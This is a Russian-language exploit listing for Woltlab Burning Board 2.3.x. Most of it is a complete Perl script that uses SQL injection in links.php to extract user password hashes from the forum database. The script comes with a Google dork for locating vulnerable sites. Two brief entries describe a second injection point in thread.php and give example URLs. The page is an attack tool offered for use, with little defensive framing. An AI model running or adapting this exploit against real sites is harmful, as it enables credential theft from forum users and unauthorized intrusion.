Уязвимости: Woltlab Burning Board

[Ŧ1LAN]

Woltlab Burning Board <= 2.3.5 (links.php) SQL Injection Exploit (2)
Эксплоит:

#!/usr/bin/perl

use IO::Socket;

print q{
################################################################################
##                                                                            ##
##  Woltlab Burning Board 2.3.5 <= "links.php" SQL Injection Exploit          ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##  Exploit by       |  hias                                                  ##
##  Googledork       |  inurl:/wbb2/links.php?cat                             ##
##  Usage            |  links.pl [server] [path] [userid]                     ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##                                                                            ##
################################################################################

};

$webpage = $ARGV[0];
$directory = $ARGV[1];
$userid = $ARGV[2];

if (!$webpage||!$directory) { die "[+] Exploit failed\n"; }

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=5474902010+union+select+password,username+from+bb1_users+where+userid=$userid";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print "[+] Exploiting.....\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
if ($answer =~ 
/(................................)<\/span><\/b><\/font>/) {
print "[+] Hash: $1\n";
exit();
}
if ($answer =~ /SQL-DATABASE ERROR/) {
break;
}
}

$wbb_dir = 
"http://".$webpage.$directory."links.php?cat=5474902010+union+select+password,userid+from+bb1_users+where+userid=$userid";
close($sock);

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", 
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
if ($answer =~ 
/(................................)<\/span><\/b><\/font>/) {
print "[+] Hash: $1\n";
exit();
}
if ($answer =~ /SQL-DATABASE ERROR/) {
print "[+] Database doesn't exist. try replacing bb1_users with bb2_users or bb3_users\n";
break;
}
}
close($sock);

print "[+] Exploit failed\n";

Dork: inurl:/wbb2/links.php?cat

 

[ENFIX]

Woltlab Burning Board 2.3.X - SQL Injection Vulnerability
Описание:
Не достаточно фильтруется параметр page в thread.php
Пример:

http://127.0.0.1/wbb2/thread.php?threadid=1&page=-1

 

[falk]

ПО: Woltlab Burning Board
Версия: 2.3.X
Воздействие: SQL Injection
Описание:
Не достаточно фильтруется параметр page в thread.php
Пример:
http://127.0.0.1/wbb2/thread.php?threadid=1&page=-1